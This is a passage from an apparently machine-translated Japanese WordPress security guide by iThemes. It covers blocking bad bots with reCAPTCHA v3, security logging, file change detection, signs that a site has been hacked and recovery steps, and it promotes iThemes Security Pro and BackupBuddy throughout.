検索エンジンボット– GoogleWebクローラーは検索エンジンボットの一例です。 このタイプのボットは、新しいページまたは変更されたページを探してWebサイトをクロールし、Webサイトのインデックスを作成します。 グーグルまたは他の検索エンジンがあなたのウェブサイトのインデックスを取得すると、彼らは彼らの検索エンジンを使用している人々とあなたのページを共有することができます。
セキュリティボット– iThemes Security Pro Site Scanは、ボットを使用して、インストールされているプラグインとテーマのリストを脆弱性データベースと比較します。 既知の脆弱性を持つプラグインまたはテーマがインストールされている場合、パッチが利用可能であれば、ボットは自動的にパッチを適用します。
悪いボット
コンテンツスクレイピングボット–これらのボットは、ユーザーの許可なしにWebサイトのコンテンツをダウンロードするようにプログラムされています。 ボットは、攻撃者のWebサイトで使用するコンテンツを複製して、SEOを改善し、サイトのトラフィックを盗むことができます。
スパムロボット–スパムロボットは迷惑です。 彼らはあなたの訪問者を悪意のあるウェブサイトに送ることを期待して自宅で仕事をしながら億万長者になるという約束であなたのコメントを台無しにします。
ブルートフォースボット–ブルートフォースボットは、攻撃するWordPressログインを探してインターネットを検索します。 これらのボットがログインページにアクセスすると、サイトへのアクセスを取得する最も簡単な形式を試します。成功するまで、ユーザー名とパスワードを何度も推測しようとします。
良いボットをブロックせずに悪いボットをブロックする方法:reCAPTCHA V3
Google reCAPTCHAは、不正なボットが、侵害されたパスワードを使用してWebサイトに侵入しようとしたり、スパムを投稿したり、コンテンツをスクレイピングしたりするなど、Webサイトでの不正な活動に関与するのを防ぐのに役立ちます。
ただし、正当なユーザーは、ログイン、購入、ページの表示、またはアカウントの作成を行うことができます。 reCAPTCHAは、高度なリスク分析手法を使用して、人間とボットを区別します。
iThemes SecurityProのGooglereCAPTCHA機能は、悪意のあるボットからサイトを保護します。 これらのボットは、侵害されたパスワードを使用してWebサイトに侵入しようとしたり、スパムを投稿したり、コンテンツをスクレイピングしたりしようとしています。 reCAPTCHAは、高度なリスク分析手法を使用して、人間とボットを区別します。
reCAPTCHAバージョン3の優れている点は、ユーザーの操作なしでWebサイト上の不正なボットトラフィックを検出できることです。 reCAPTCHA v3は、CAPTCHAチャレンジを表示する代わりに、サイトで行われたさまざまなリクエストを監視し、リクエストごとにスコアを返します。 スコアの範囲は0.01から1です。reCAPTCHAによって返されるスコアが高いほど、人間がリクエストを行ったという自信が高まります。 reCAPTCHAによって返されるこのスコアが低いほど、ボットがリクエストを行ったという自信が高まります。
iThemes Security Proでは、reCAPTCHAスコアを使用してブロックしきい値を設定できます。 デフォルトとして0.5を使用することをお勧めします。 しきい値を高く設定しすぎると、正当なユーザーを誤ってロックアウトする可能性があることに注意してください。

WordPressユーザー登録、パスワードのリセット、ログイン、コメントでreCAPTCHAを有効にできます。 iThemes Security Proを使用すると、すべてのページでGoogle reCAPTCHAスクリプトを実行して、ボットと人間のスコアの精度を高めることができます。

まとめ
良いボットと悪いボットがあります。 reCAPTCHAは、価値を提供する良いボットの邪魔をすることなく、Webサイトから悪いボットをブロックします。
セクション9:WordPressセキュリティログ
ロギングは、WordPressのセキュリティ戦略の重要な部分です。 ロギングとモニタリングが不十分な場合、セキュリティ違反の検出が遅れる可能性があります。 ほとんどの違反調査によると、違反を検出するまでの時間は200日を超えています。 その時間の長さにより、攻撃者は他のシステムを侵害したり、より多くのデータを変更、盗んだり、破壊したりすることができます。 Insufficient LoggingがOWASPのWebアプリケーションセキュリティリスクのトップ10にランクインしたのは、これらの理由によるものです。
WordPressのセキュリティログには、全体的なセキュリティ戦略にいくつかの利点があります。
- 悪意のある行動を特定して阻止します。
- 違反を警告できるアクティビティを見つけます。
- 与えられたダメージの量を評価します。
- ハッキングされたサイトの修復を支援します。
サイトがハッキングされた場合は、迅速な調査と復旧に役立つ最善の情報が必要になります。
WordPressセキュリティログとは何ですか?
iThemes Security ProのWordPressセキュリティログは、Webサイトで発生する重要なセキュリティイベントを追跡します。 これらのイベントは、セキュリティ違反が発生したかどうか、またはいつ発生したかを示すために監視することが重要です。
Webサイトのセキュリティログは、セキュリティ戦略の重要な部分です。 これらのレコードにある情報は、悪意のある攻撃者をロックアウトし、サイトの不要な変更を強調し、攻撃が成功したエントリポイントを特定してパッチを適用するために使用できます。
iThemesSecurityによって追跡および記録されるセキュリティイベント
iThemes SecurityProプラグインによって追跡されるWordPressセキュリティイベントを見てみましょう。
1.WordPressブルートフォース攻撃
ブルートフォース攻撃とは、Webサイトにハッキングするためのユーザー名とパスワードを見つけるために使用される試行錯誤の方法を指します。 WordPressはユーザーのログインアクティビティを追跡しないため、ブルートフォース攻撃からユーザーを保護するためにWordPressに組み込まれているものはありません。 WordPressサイトを保護するためにログインセキュリティを監視するのはあなた次第です。

幸いなことに、ブルートフォース攻撃はそれほど洗練されておらず、ログで簡単に識別できます。 ログインを試みているユーザー名とIP、およびログインが成功したかどうかを記録する必要があります。 単一のユーザー名またはIPでログイン試行が連続して失敗した場合は、ブルートフォース攻撃を受けている可能性があります。
あなたのウェブサイトが攻撃を受けていることを知ったら、あなたはそれを止めることができます! Webサイトでの攻撃を防ぐ方法はないことを覚えておくことが重要です。 ただし、無効なログイン試行を監視することで、これらの攻撃が成功するのを防ぐことができます。
iThemes Security Proは、悪者を締め出すのに最適です。 ただし、悪者がブルートフォース攻撃でユーザー名Bobを使用し、Bobがサイトの実際のユーザーである場合、残念ながら、Bobは攻撃者とともにロックアウトされます。
悪意のあるユーザーがサイトに侵入するのを防ぐのは素晴らしいことですが、セキュリティが実際のユーザーのエクスペリエンスに影響を与える場合は、それが好きではありません。 強引な攻撃者がロックアウトされたままで、正当なユーザーがユーザー名のロックアウトをバイパスできるように、MagicLinksを作成しました。
2.マルウェアスキャン
マルウェアスキャンを実行するだけでなく、すべてのマルウェアスキャンの結果をWordPressセキュリティログに記録する必要があります。 一部のセキュリティログには、マルウェアが見つかったスキャン結果のみが記録されますが、それだけでは不十分です。 あなたのウェブサイトへの違反についてできるだけ早く警告されることが重要です。 ハッキングについて知るのに時間がかかるほど、ハッキングによる被害は大きくなります。

セキュリティへのプロアクティブなアプローチの歴史が報われるのを見るのは良いことですが、それは単なるボーナスであり、すべてのマルウェアスキャンを記録する理由ではありません。
スケジュールされたスキャンを文書化していない場合、スキャンの失敗があるかどうかを知る方法はありません。 失敗したスキャンを記録しないと、サイトでマルウェアが毎日チェックされていると思われる可能性がありますが、実際には、スキャンは完了していません。
3.ユーザーアクティビティ
WordPressのセキュリティログにユーザーアクティビティの記録を保持することは、攻撃が成功した後の節約の恩恵になります。
正しいユーザーアクティビティを監視すると、ハッキングのタイムラインをガイドし、新しいユーザーの追加からサイトへの不要な製薬広告の追加まで、ハッカーが変更したすべての情報を表示できます。
iThemes Security Proは、次の5種類のユーザーアクティビティを監視します。
1.ログイン/ログアウト

ログに記録される最初のタイプのユーザーアクティビティは、ユーザーがWebサイトにログインおよびログアウトするときとその場所からです。 ユーザーのログインの時間と場所を監視すると、侵害されたユーザーを見つけるのに役立ちます。 そのユーザーは異常な時間にログインしましたか、それとも新しい場所からログインしましたか? もしそうなら、あなたは彼らと一緒に調査を始めたいと思うかもしれません。
2.ユーザーの作成/登録

記録しておく必要がある次のアクティビティは、ユーザーの作成、特に管理者ユーザーの作成です。 ハッカーが正当なユーザーを危険にさらす可能性がある場合、ハッカーは秘密にしようとして独自の管理者ユーザーを作成する可能性があります。 アカウントに何か奇妙なことに気付くのは簡単ですが、別のユーザーの悪意のあるアクティビティを特定するのははるかに困難です。
ユーザー登録の監視も不可欠です。 一部の脆弱性により、ハッカーはデフォルトの新しいユーザーロールをサブスクライバーから管理者に変更できます。
管理者ユーザーのアクティビティを監視するためだけにユーザーログを設定している場合、新しい管理者ユーザー登録のみがセキュリティログに記録されます。 したがって、セキュリティログに新しく登録されたユーザーが表示された場合は、問題が発生しています。
3.プラグインの追加と削除

プラグインを誰が追加および削除したかを記録することが重要です。 サイトがハッキングされると、攻撃者はカスタムプラグインを追加して、悪意のあるコードをWebサイトに挿入するのが簡単になります。
ハッカーがサーバーやデータベースにアクセスできない場合でも、WordPressダッシュボードからハッカーに変更を加えることができる場合があります。 プラグインを使用して、次のスパム広告キャンペーンで使用するためにサイトにリダイレクトを追加したり、データベースにマルウェアを挿入したりできます。 悪意のあるコードが実行された後、プラグインを削除して犯罪の証拠を削除できます。 幸運なことに、WordPressのセキュリティログにすべて記録されているので、見逃すことはありません。
4.テーマの切り替え

iThemes Security Proユーザーロギングによって監視されるもう1つのユーザーアクティビティは、誰かがWebサイトのテーマを切り替えたときです。 テーマが予期せず変更されていることに気付いた場合は、WordPressのセキュリティログを調べて、誰が変更を加えたかを確認できます。
5.投稿とページの変更

最後に、投稿とページへの変更を監視する必要があります。 トラフィックを他のサイトに送信するためのリンクが追加されていますか? 投稿やページを監視すると、違反後にWebサイトに追加された恥ずかしいページや悪意のあるリンクを見つけるのに役立ちます。
変更された投稿を確認するには、[詳細の表示]リンクをクリックして投稿IDを検索します。

まとめ
不十分なロギングは、OWASPのトップ10のWebアプリケーションセキュリティリスクの1つです。 適切な動作を監視することで、攻撃を特定して阻止し、違反を検出し、攻撃が成功した後にWebサイトに加えられた損傷にアクセスして修復することができます。
セクション10:WordPressのセキュリティ災害が発生したとき
WordPressのセキュリティのベストプラクティスに従っている場合でも、サイトが危険にさらされる可能性があります。 侵害とは、ハッカーがWebサイトを侵害し、マルウェアに感染したことを意味します。
セキュリティ違反とは何ですか?
セキュリティ違反とは、サイバー犯罪者がWebサイトまたはサーバーへの不正アクセスを取得できる場合です。 ハッカーが最も一般的なWordPressのセキュリティ問題のいくつかを悪用するため、セキュリティ違反はさまざまな方法で発生する可能性があります。 古いバージョンのプラグインやテーマの実行から、より複雑なSQLインジェクションまで、最も警戒しているサイト所有者でさえセキュリティ違反が発生する可能性があります。
セキュリティ違反を検出する時間:感染したWebサイトをクリーンアップする際の重要な要素
Webサイトの侵害を発見するのにかかる平均時間は200日であることをご存知ですか? 残念ながら、違反に気付くのに時間がかかるほど、ハッカーがWebサイト、顧客、およびあなたに与える可能性のある損害は大きくなります。 マルウェアの一部は、200日で驚異的な量の損害を引き起こす可能性があります。 そのため、セキュリティ違反を発見するのにかかる時間を短縮することが非常に重要です。
どうして? 200日分の損傷の後にWebサイトをクリーンアップするために必要なクリーンアップとダウンタイムも驚異的です。 マルウェアが接触したすべてのものと、どの顧客のデータが盗まれたかを調査する時間は、侵害が検出されないままである間だけ増加します。 ハッカーがあなたのウェブサイトにアクセスしている間にすべてのキーストロークを記録したため、クレジットカードをキャンセルする必要があることを顧客に通知するために費やす必要がある時間は言うまでもありません。
ハッキングされるコストは大きいです。 あなたは違反を調査してあなたのウェブサイトをきれいにするために誰かにお金を払わなければなりません。 ハック修理のスペシャリストは、作業中にWebサイトを停止する必要があり、Webサイトが停止している間は人々が新しい購入を行うことはできません。 あなたの顧客の信頼を失った後、あなたは彼らがあなたに与えたであろう将来の購入を失うでしょう。
ハッキングのコストは、違反にできるだけ早く気付くことが重要である理由です。 違反を発見するのが早ければ早いほど、それ以上の損害が発生するのをすばやく止めることができ、Webサイトとビジネスをオンラインに戻すのも早くなります。
マルウェアスキャナーで十分ですか?
マルウェアスキャナーは、WordPressWebサイトをスキャンして既知の悪意のあるファイルやスクリプトを探す方法を提供します。 しかし、マルウェアスキャナーはセキュリティ違反を発見するのに十分ですか?
一言で言えば、いいえ。 Webサイトが感染しているかどうかを確認するために、マルウェアスキャナーだけに頼ることができるとは思わないでください。 マルウェアスキャナーは、存在するすべてのマルウェアを識別できません。 100%正確であると主張するマルウェアスキャナーに遭遇した場合は、このような主張を行うスキャンの精度が最も低いことが多いため、実行する必要があります。
シグニチャと動作マルウェアの検出
マルウェアスキャンとウイルス対策ソフトウェアの大部分は、マルウェアシグネチャを使用してマルウェアを検出します。 より高度なマルウェアスキャンでは、シグネチャ検出と動作分析を組み合わせて使用します。

マルウェアの署名
マルウェアシグネチャは、既知のマルウェアを識別するために使用される一連のバイトです。 一部のマルウェアスキャナーは、数百万の既知のウイルスのマルウェアシグネチャで満たされたデータベースを利用しています。
シグニチャベースのマルウェアスキャンは高速でシンプルであり、既知のよく理解されているマルウェアを100%検出します。 そのすべてが素晴らしく、低レベルのハッカーによって追加されたマルウェアをキャッチします。
ただし、熟練したハッカーは、マルウェアスキャナーが既知のマルウェアのシグネチャをチェックすることを知っています。 これらのハッカーは、マルウェアのシグネチャを難読化して、平均的なスキャナーで検出されないようにすることができます。
新しいマルウェアは、マルウェアスキャナーが最新のすべてのシグネチャでデータベースを最新の状態に保つことができない速度でリリースされます。 そのため、署名ベースのスキャナーでは、マルウェアの新しいビットとプラグインのreadme.txtファイルの違いを区別できません。
行動分析
動作分析は、ソフトウェアのアクションをチェックして、それが悪意のあるものであるかどうかを判断します。 疑わしいまたは悪意があると見なされる可能性のあるさまざまな種類の動作がたくさんあります。 たとえば、iThemes Security Pro Site Scanは、Google Safe Browsing APIを利用して、ウェブサイトを安全に保ちます。 Googleセーフブラウジングは、ソフトウェアの一部が既知の悪意のあるサイトにトラフィックをリダイレクトしているかどうかを確認します。
繰り返しになりますが、マルウェアを確実に検出する方法はありません。 ただし、動作チェックと署名チェックを組み合わせると、セキュリティ違反の証拠について警告を受ける可能性が大幅に高まります。
すべてのマルウェアはどのような動作を共有しますか?
セキュリティ違反をできるだけ早く検出することがいかに重要であるか、そしてマルウェアの検出だけに頼るだけでは不十分であることを私たちは知っています。 では、iThemes Security Proを使用すると、人々がWebサイトのセキュリティ違反を検出するのにかかる時間をどのように短縮できるのでしょうか。
マルウェアがWebサイトにもたらす損害の種類は大きく異なりますが、マルウェアが行うことは、次の3つのことの1つまたは組み合わせに要約できます。
- ファイルの追加–スパイウェアの形のマルウェアは、顧客がクレジットカード情報を入力するときにキーストロークを記録する悪意のあるファイルを追加する可能性があります。
- ファイルの削除–一部のマルウェアは、正当なファイルを削除し、同じ名前の悪意のあるファイルに置き換えます。
- ファイルの変更–マルウェアは、変更する既存のファイルにコードを隠すことにより、悪意のあるコードを隠そうとします。
Webサイトに予期しない変更があった場合にアラートを受け取り、セキュリティ違反の兆候がないかどうかを調べることができると便利ではないでしょうか。
セキュリティ違反の検出にかかる時間を短縮する方法
セキュリティ違反をすばやく発見するための鍵は、Webサイト上のファイルの変更を監視することです。
iThemes Security Proのファイル変更検出機能は、Webサイトのファイルをスキャンし、Webサイトで変更が発生したときに警告を発します。
ログに新しいファイル変更アクティビティが表示される正当な理由はいくつかありますが、変更が予期しないものであった場合は、時間をかけて変更が悪意のないものでないことを確認する必要があります。 たとえば、プラグインを更新したのと同じ日時にプラグインに変更が加えられた場合、調査する理由はありません。
iThemes SecurityProでファイル変更検出を有効にする方法
ファイル変更の監視を開始するには、セキュリティ設定のメインページでファイル変更検出を有効にします。

ファイル変更検知を有効にすると、iThemes SecurityProはWebサイトのすべてのファイルをチャンクでスキャンし始めます。 ファイルをチャンクでスキャンすると、ファイルの変更を監視するために必要なリソースを削減するのに役立ちます。
最初のファイル変更スキャンは、Webサイトのファイルとそのファイルハッシュのインデックスを作成します。 ファイルハッシュは、ファイルのコンテンツの短縮された、人間が読めないバージョンです。
最初のスキャンが完了した後、iThemes SecurityProはファイルをチャンクでスキャンし続けます。 後続のスキャンの1つでファイルハッシュが変更された場合、それはファイルの内容が変更されたことを意味します。
[ファイル変更検出]設定の[今すぐファイルをスキャン]ボタンをクリックして、手動でファイル変更を実行することもできます。

ファイル変更通知メールのアクティブ化
ファイルの変更は常に発生し、変更のたびに電子メールアラートを受け取ることはすぐに圧倒されます。 そして、あなたがそれを知る前に、それはオオカミの状況を叫んだ少年になり、あなたはファイル変更アラートを完全に無視し始めます。
iThemes Security Proが正当な変更をインテリジェントに識別して通知を減らす方法と、頻繁に更新されることが予想されるファイルの通知をミュートする方法を見てみましょう。
iThemesセキュリティプラグイン内の通知センターからすべてのiThemesセキュリティ通知を管理できます。 WordPress管理ダッシュボードから、 [セキュリティ]> [設定]にアクセスし、通知センターモジュールを見つけます。

iThemes SecurityProが正当なファイル変更を識別する方法
iThemes Security Proがファイルに加えられた変更が正当であり、懸念の原因ではないかどうかを検出する方法はいくつかあります。 iThemes Security Proは、検証できる変更についてファイル変更通知を作成しません。
1.バージョン管理によって完了したプラグイン/テーマの更新
iThemes Security Proのバージョン管理機能を使用すると、WordPress、プラグイン、およびテーマを自動更新できます。

バージョン管理によって更新が完了した場合、iThemes Security Proは更新のソースを認識し、アラートをトリガーしません。
2.iThemesプラグインとテーマのファイル比較
オンラインファイル比較を有効にするには、[ファイル変更検出]設定の[ファイルをオンラインで比較]チェックボックスをオンにします。

iThemesプラグインまたはテーマに属するWebサイト上のファイルが変更されると、iThemesサーバー上のファイルと比較されます。 Webサイト上のファイルのバージョンへのハッシュがiThemesサーバー上のバージョンへのハッシュと一致する場合、それは正当な変更であり、アラートは受信されません。
3.WordPress.orgオンラインファイル比較
WordPressコアファイルまたはWordPress.orgリポジトリからインストールされたプラグインが変更された場合、ファイルはWordPress.orgのバージョンと比較されます。 ハッシュが一致する場合、変更は悪意のあるものではなく、アラートを受信しません。
4.手動による除外
ファイル変更検出設定のファイル変更検出からファイル、ディレクトリ、およびファイルタイプを除外できます。

原則として、定期的に更新されることがわかっているファイルは除外してもかまいません。 バックアップファイルとキャッシュファイルは、この完璧な例です。 これらのタイプのファイルを除外すると、余分なノイズの多くが落ち着きます。
あなたのWordPressウェブサイトがハッキングされた7つの兆候
「私のWordPressサイトはハッキングされていますか? 」は、いくつかの簡単な回答が必要になることを意味します。
Webサイトの侵害の兆候に早く気付くほど、サイトをすばやくクリーンアップできます。 Webサイトをすばやくクリーンアップできるほど、ハッキングによるWebサイトへのダメージは少なくなります。
1.あなたのホームページは異なります
ホームページの変更は明らかな兆候のようです。 しかし、実際に徹底的なチェックやホームページを実行するのは何回ですか? 私は通常、ホームURLではなくログインURLに直接アクセスすることを知っています。 そこから、ログインしたり、サイトを更新したり、投稿を編集したりします。 やったことを終えた後は、自分のウェブサイトのホームページを見ずに立ち去ることがよくあります。
一部のハッキングの主な目的は、Webサイトを荒らしたり、悪評を得たりすることです。 そのため、彼らはあなたのホームページを面白いと思うものに変更するか、コーリングカードによってハッキングされたままにするだけです。

ホームページの変更に気付いた場合は、BackupBuddyなどの信頼できるWordPressバックアッププラグインで作成されたバックアップファイルを使用して、Webサイトをすばやく簡単に復元できます。
2.あなたのウェブサイトのパフォーマンスが低下しました
感染すると、サイトの動作が遅くなる場合があります。 ブルートフォース攻撃が発生している場合、または暗号通貨マイニングにサーバーリソースを使用している悪意のあるスクリプトがある場合は、Webサイトの速度が低下する可能性があります。 同様に、DDoS(またはサービス拒否攻撃)は、IPのネットワークがWebサイトをクラッシュさせようとして、同時にWebサイトに要求を送信したときに発生します。
3.あなたのウェブサイトには悪意のあるまたはスパムのポップアップ広告が含まれています
訪問者に悪意のあるWebサイトにリダイレクトするポップアップが表示された場合、ハッカーがWebサイトを侵害した可能性が高くなります。 このタイプの攻撃の目的は、トラフィックをサイトから攻撃者のサイトに誘導し、クリック課金広告のクリック詐欺でユーザーを標的にできるようにすることです。
このタイプのハッキングで最も苛立たしいのは、ポップアップが表示されない可能性があることです。 ポップアップハックは、ログインしているユーザーには表示されないように設計できます。これにより、Webサイトの所有者がポップアップハックを見る可能性が低くなります。 そのため、サイトの所有者がログアウトしても、ポップアップが表示されることはありません。
ブラウザで広告ブロッカー拡張機能を使用すると、ポップアップの表示も制限される可能性があります。 たとえば、顧客がポップアップハックを報告し、スクリーンショットとポップアップのビデオを共有しました。 彼らのウェブサイトを何時間も走り回った後、私は彼らが報告していたものを何も再現することができませんでした。 私は彼らのパソコンがハッキングされており、ウェブサイトではないと確信していました。
最後に、ポップアップが表示されなかった理由がわかりました。 ブラウザにadblocker拡張機能をインストールしました。 広告ブロッカー拡張機能を無効にするとすぐに、どこにでもポップアップが表示されました。 うまくいけば、同じ間違いに遭遇するのを防ぐために、この恥ずかしい話を共有します。
4.ウェブサイトのトラフィックの減少に気づきました
Google Analyticsアカウントにログインし、Webサイトのトラフィックが急激に減少していることに気付いた場合、WordPressサイトがハッキングされる可能性があります。 サイトトラフィックの減少は調査に値します。 訪問者をサイトからリダイレクトする悪意のあるスクリプトがサイトに存在する可能性があります。または、GoogleがすでにWebサイトを悪意のあるサイトとしてブラックリストに登録している可能性があります。
あなたが最初に探したいのはあなたのウェブサイトのアウトバウンドトラフィックです。 Google AnalyticsでWebサイトを追跡するには、サイトを離れるトラフィックを追跡するようにサイトを構成する必要があります。 WordPressサイトのアウトバウンドトラフィックを監視する最も簡単な方法は、WordPress GoogleAnalyticsプラグインを使用することです。
6.予期しない新規ユーザー
Webサイトに新しい管理者ユーザーの予期しない登録がある場合、それはWordPressサイトがハッキングされたもう1つの兆候です。 攻撃者は、侵害されたユーザーを悪用して、新しい管理者ユーザーを作成できます。 新しい管理者権限により、ハッカーはサイトに大きな損害を与える準備ができています。
以前のWPGDPRコンプライアンスプラグインを覚えていますか? 2018年11月に、顧客のWebサイトで新しい管理者ユーザーが作成されたという報告がいくつかありました。 ハッカーは、WP GDPRコンプライアンスプラグインの脆弱性(バージョン1.4.3でパッチが適用された脆弱性)を使用して、プラグインを実行しているWordPressサイトに新しい管理者ユーザーを作成しました。 プラグインのエクスプロイトにより、権限のないユーザーがユーザー登録を変更して、デフォルトの新規ユーザーの役割をサブスクライバーから管理者に変更することができました。 残念ながら、これだけが脆弱性ではなく、攻撃者が作成した新しいユーザーを削除してプラグインにパッチを適用することはできません。
WP GDPRコンプライアンスとWooCommerceがインストールされている場合は、サイトに悪意のあるコードが挿入されている可能性があります。 攻撃者は、WooCommerceプラグインのバックグラウンドインストーラーを使用して、データベースにバックドアインストーラーを挿入する可能性があります。 サイトにバックドアがインストールされている場合は、ハッキング修理の専門家に連絡する必要があります。 もう1つのオプションは、バックアップファイルを使用して、以前のバックアップを使用した違反の前にWebサイトのコピーにロールバックすることです。
7.管理者ユーザーが削除されました
パスワードをリセットした後でもWordPressサイトにログインできない場合は、感染の深刻な兆候である可能性があります。
Gentoo Githubリポジトリがハッキングされたとき、攻撃者が最初に行ったのは、すべての管理者ユーザーを削除することでした。 では、このハッカーはどのようにしてGithubアカウントにアクセスしたのでしょうか。 Gentoo管理者ユーザーのパスワードが別のサイトで発見されました。 ユーザー名とパスワードは、スクレイピングまたはデータベースダンプのいずれかによって発見されたと思います。
Gentoo Githubアカウントの管理者のパスワードは、侵害されたアカウントで使用されているものとは異なりますが、非常によく似ていました。 したがって、これは、あるアカウントではiAmAwesome2020をパスワードとして使用し、別のサイトではiAmAwesome2021を使用するようなものです。 そのため、ハッカーは少しの努力でパスワードを理解することができました。 ご覧のとおり、アカウントごとに一意のパスワードを使用する必要があります。 パスワードを単純に変更するだけでは不十分です。 LastPassを使用すると、すべてのサイトに対して強力で一意のパスワードを生成して安全に保存できます。
災害からの復帰方法
違反が発生したと思われる場合は、被害を軽減するための簡単な手順がいくつかあります。
サイトの以前の/クリーンなバックアップに復元する
セキュリティ違反を元に戻す最も確実な方法は、攻撃の前にサイトを以前のバージョンに復元することです。 そのため、包括的なWordPressバックアップソリューションを導入することが非常に重要です。 BackupBuddyを使用して、バックアップが自動的に実行されるようにスケジュールし、常にバックアップを作成することをお勧めします。
以前のバックアップを復元すると、サイトが同じ違反に対して脆弱になる可能性があることに注意してください。したがって、これらの手順に従うことも重要です。
古いプラグインとテーマをすべてすぐに更新する
脆弱なプラグインまたはテーマが依然として原因である可能性があるため、古いプラグインまたはテーマをすべてすぐに更新することが重要です。 以前のクリーンバージョンのWebサイトに復元した場合でも、同じ脆弱性が存在し、再びハッキングされる可能性があります。
また、開発者からのパッチがまだ適用されていない脆弱なプラグインまたはテーマを実行していないことを確認することもできます。 このプラグインはすぐに削除する必要があります。
二要素認証を有効にする
管理者ログインを保護するために2要素認証を使用していない場合は、すぐにアクティブ化してください。 この追加されたセキュリティ層は、権限のないユーザーが管理者アカウントをハッキングできないようにするのに役立ちます。
プロのマルウェア除去のための助けを求める
WordPressのセキュリティ違反はサーバーレベル(WordPressのインストールよりも深い)で発生するため、専門のマルウェア除去サービスに連絡する必要がある場合があります。 専門的なマルウェアの除去には、WeWatchYourWebsiteをお勧めします。
まとめ:WordPress Security Ultimate Guide
このWordPressセキュリティガイドでは、たくさんのことを取り上げました! ただし、このガイドのヒントに従うことで、Webサイトに課せられる攻撃をほぼ100%ブロックできます。
WordPressセキュリティプラグインはWordPressウェブサイトを保護するのに役立ちます
このガイドのWordPressセキュリティトピックの知識と組み合わせると、WordPressセキュリティプラグインはWordPressWebサイトを保護するのに役立ちます。 WordPressセキュリティプラグインであるiThemesSecurity Proは、一般的なWordPressセキュリティの脆弱性からWebサイトを保護および保護するための50以上の方法を提供します。 WordPress、2要素認証、ブルートフォース保護、強力なパスワードエンフォースメントなどを使用すると、Webサイトにセキュリティの層を追加できます。
Michaelは毎週、WordPressの脆弱性レポートをまとめて、サイトを安全に保つのに役立てています。 iThemesのプロダクトマネージャーとして、彼は私たちがiThemes製品ラインナップを改善し続けるのを手伝ってくれます。 彼は巨大なオタクであり、新旧のすべての技術について学ぶのが大好きです。 マイケルが妻と娘と一緒に遊んだり、仕事をしていないときに音楽を読んだり聞いたりしているのを見つけることができます。
